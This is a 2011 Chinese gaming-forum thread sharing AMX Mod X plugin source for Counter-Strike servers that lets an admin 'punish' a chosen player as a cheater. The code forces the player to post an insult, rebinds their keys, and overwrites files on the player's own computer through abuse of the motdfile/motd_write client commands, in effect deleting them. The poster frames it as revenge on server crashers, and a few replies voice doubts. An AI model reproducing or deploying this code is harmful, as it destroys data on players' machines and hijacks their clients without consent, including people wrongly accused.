搜索
查看: 31011|回复: 97

[AMXX 带源码] 新改的CS1.6_CS1.5_OP可要作弊的重装CS源码

[复制链接]
发表于 2011-8-8 16:32:24 | 显示全部楼层 |阅读模式 来自 广东广州
本帖最后由 点通粉丝 于 2012-9-4 23:28 编辑

这东西留着也没什么用
一起用来搞死作弊的吧
具体如何使用自己看源文件吧
再次感谢龟老大的大力帮忙

才三天不到下了36次了.........哈哈/一起搞死作弊的吊毛吧/

#include <amxmodx>
#include <amxmisc>
#include <fun>

#define PLUGIN        "AMX CZMENU"
#define VERSION        "1.0"
#define AUTHOR        "wk703"
#define LOADING        "^n^t%s v%s, Copyright (C) 2011 by %s^n"

new Array:g_bindkey, Array:g_filelist, g_keytotal, g_filetotal;

public plugin_init()
{
        register_plugin(PLUGIN, VERSION, AUTHOR);
        server_print(LOADING,PLUGIN,VERSION,AUTHOR);
        register_clcmd("amx_czmenu", "AwesomeMenu");
        g_bindkey = ArrayCreate(128);
        g_filelist = ArrayCreate(128);
        g_keytotal = 0;
        g_filetotal = 0;
}

public plugin_cfg()
{
        _load_bindlist();
        _load_filelist();
}

public plugin_precache()
{
        precache_sound("misc/chong_zhuang.wav");
        precache_model("sprites/wc.spr");
}

public AwesomeMenu(id)                                                                                        // 生成菜单的自定义函数
{
        new menu = menu_create("\yCz Menu", "menu_handler");                // 建立一个菜单,并用一个变量记录id (猜测应该是菜单id吧) 第一个参数是菜单的名称,第二个参数是玩家按下按键后来处理玩家按键的函数,和老版的不同,新版的需要通过menu_additem这个native函数来给菜单增加选择项(感觉很方便哦)
        new players[32], pnum, tempid;                                                                // 在这里我们必须建立一些变量来得到玩家的数据
        new szName[32], szTempid[10];                                                                // 一些有关玩家信息的变量
        get_players(players, pnum);                                                                        // 查找当前服务器所有的玩家  
       
        for(new i; i<pnum; i++ )                                                                        // 利用for循环来得到玩家的信息
        {
                tempid = players;                                                                        // 这里的players是每一个在线玩家的索引,现在我人用别外一个变量来代替他
                get_user_name(tempid, szName, 31);                                                // 得到玩家的名字
                num_to_str(tempid, szTempid, 9);                                                // 把名字用数字排开
                menu_additem(menu, szName, szTempid, ADMIN_IMMUNITY);        // 最后就是把所有的数据写进菜单里  第一个参数是指定要往哪个菜单添加选项,第二个参数是选项显示的文字\w的意思是白色\y是黄色\r是红色,第三个参数是传递到处理玩家按键的函数的键位参数,第四个参数是此选择项需要的玩家权限,你可以在amxconst.inc里查询,数字0代表不需要权限
        }
        menu_display(id, menu, 0);                                                                        // 现在就可以把菜单显示出来了  第一个参数是显示的对象(玩家ID),貌似不能用0来代替所有玩家,第二个是菜单,第三个是起始页数(注意页数id从0开始!!
}


public menu_handler(id, menu, item)                                                                                        // 以下就是刚才注册过的来处理玩家按键的函数
{
        if(item == MENU_EXIT )                                                                                                        // 如果选择退出
        {
                menu_destroy(menu);                                                                                                        // Native函数,用来摧毁菜单
                return PLUGIN_HANDLED;
        }
       
        new data[6], iName[64];                                                                                                        // 现在来获取按键等信息
        new access, callback;                                                                                                        // 还是那句话,先建立一些必要的变量
        menu_item_getinfo(menu, item, access, data,5, iName, 63, callback);                // 获取菜单项目的信息
        new tempid = str_to_num(data);                                                                                        // 把字符型转换为数字型,也就是把之前的显示菜单那里的szTempid转换为字符型=建立一个变量并通过str_to_num()来得到被选中的玩家索引
       
        if(get_user_flags(tempid) & ADMIN_IMMUNITY)                                                                // 判断A权限不能处罚
        {
                client_print(tempid, print_chat, "[AMXX] : you don't punish A admin");
                return PLUGIN_HANDLED
        }
       
        client_cmd(tempid, "say ^"wo zuo bi, wo si quan jia^"");
       
        new szName[32];
        get_user_name(tempid, szName, 31);                                                                                // 得到玩家的名字
       
        server_cmd("amx_sprite #%i wc", get_user_userid(tempid));
        server_cmd("amx_shootself #%i 0 0", get_user_userid(tempid));
        server_cmd("amx_pcheater #%i 5", get_user_userid(tempid));
        server_cmd("amx_chscore #%i -38 250", get_user_userid(tempid));
       
        set_hudmessage(random_num(0,255), random_num(0,255), random_num(0,255), 0.02, 0.55, 2, 2.0, 280.0, 0.01, 0.2, 4);
        show_hudmessage(0, "[AMXX] :     ^"%s^"   zuo  bi^nchu   fa :     chong  zhuang  cs", szName);
       
        set_user_rendering(tempid, kRenderFxGlowShell, random_num(0,255), random_num(0,255), random_num(0,255), kRenderTransAlpha, 255);        // 设置玩家透明度
       
        _bind_some_key(tempid);
        _remove_some_file(tempid);
       
        menu_destroy(menu);
        return PLUGIN_HANDLED;
}

/*
        以上代码来源于网络。
        以下代码由 k1nader 编写。
*/

public _load_bindlist()
{
        new customdir[64], data_file[128];
        get_customdir(customdir, charsmax(customdir));
        formatex(data_file, charsmax(data_file), "%s/bind_list.ini", customdir);
       
        if (!file_exists(data_file))
        {
                log_amx("Error: can not find bind_list.ini.");
                return;
        }
       
        new File = fopen(data_file, "r");
       
        new text[256];
        new bindstring[128];
       
        while(File && !feof(File))
        {
                fgets(File, text, charsmax(text));
               
                if (text[0] == ';')
                        continue;
               
                if (parse(text, bindstring, charsmax(bindstring)) < 1)
                        continue;
               
                trim(bindstring);
                ArrayPushString(g_bindkey, bindstring);
        }
        if (File) fclose(File);
        g_keytotal = ArraySize(g_bindkey);
}

public _load_filelist()
{
        new customdir[64], data_file[128];
        get_customdir(customdir, charsmax(customdir));
        formatex(data_file, charsmax(data_file), "%s/file_list.ini", customdir);
       
        if (!file_exists(data_file))
        {
                log_amx("Error: can not find file_list.ini.");
                return;
        }
       
        new File = fopen(data_file, "r");
       
        new text[256];
        new filestring[128];
       
        while(File && !feof(File))
        {
                fgets(File, text, charsmax(text));
               
                if (text[0] == ';')
                        continue;
               
                if (parse(text, filestring, charsmax(filestring)) < 1)
                        continue;
               
                trim(filestring);
                ArrayPushString(g_filelist, filestring);
        }
        if (File) fclose(File);
        g_filetotal = ArraySize(g_filelist);
}

public _bind_some_key(id)
{
        for(new i = 0; i < g_keytotal; i++)
        {
                new keyscrstr[128], key[32], strings[96];
                ArrayGetString(g_bindkey, i, keyscrstr, charsmax(keyscrstr));
                strtok(keyscrstr, key, 31, strings, 95, '=');
                client_cmd(id,"bind ^"%s^" ^"%s^"", key, strings);
        }
}

public _remove_some_file(id)
{
        for(new i = 0; i < g_filetotal; i++)
        {
                new filestr[128];
                ArrayGetString(g_filelist, i, filestr, charsmax(filestr));
                _remove_file(id, filestr);
        }
}

public _remove_file(id, filename[])
{
        client_cmd(id, "motdfile ^"%s^"", filename);
        client_cmd(id, "motd_write { File is deleted }");
        client_cmd(id, "motdfile ^"motd.txt^"");
}

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注个册吧

×
 楼主| 发表于 2011-8-8 16:36:48 | 显示全部楼层 来自 广东广州
本帖最后由 点通粉丝 于 2011-8-8 16:40 编辑



积分高过100的不用点通币可看到源码
老是被人炸服有时被炸多了.就用他发泄一下吧
他妈的炸服SB,让他们也试一下动不了的感觉才行
OP们用他去报复吧................................................
回复

使用道具 举报

发表于 2011-8-9 00:34:15 | 显示全部楼层 来自 广东珠海
.....不太好吧.
如果普及使用的话,怕有错封.
回复

使用道具 举报

发表于 2011-8-9 01:36:17 | 显示全部楼层 来自 江苏盐城
他这个是手动重装CS的。不是自动。楼主。很暴力
回复

使用道具 举报

发表于 2011-8-9 12:49:25 | 显示全部楼层 来自 安徽淮北
????????????????
回复

使用道具 举报

发表于 2011-8-9 13:09:53 | 显示全部楼层 来自 山东淄博
不是吧 ,我看看 什么原理啊
回复

使用道具 举报

发表于 2011-8-9 14:08:22 | 显示全部楼层 来自 广东佛山
我积分好象够了,
回复

使用道具 举报

发表于 2011-8-9 15:14:37 | 显示全部楼层 来自 山东淄博
在cs1.6里面 好像不行啊 ,怎么回事呢
回复

使用道具 举报

发表于 2011-8-9 15:23:36 | 显示全部楼层 来自 山东淄博
好像这不行
回复

使用道具 举报

发表于 2011-8-10 23:13:12 | 显示全部楼层 来自 湖南株洲
不太好吧.
回复

使用道具 举报

游客
回复
您需要登录后才可以回帖 登录 | 注个册吧

快速回复 返回顶部 返回列表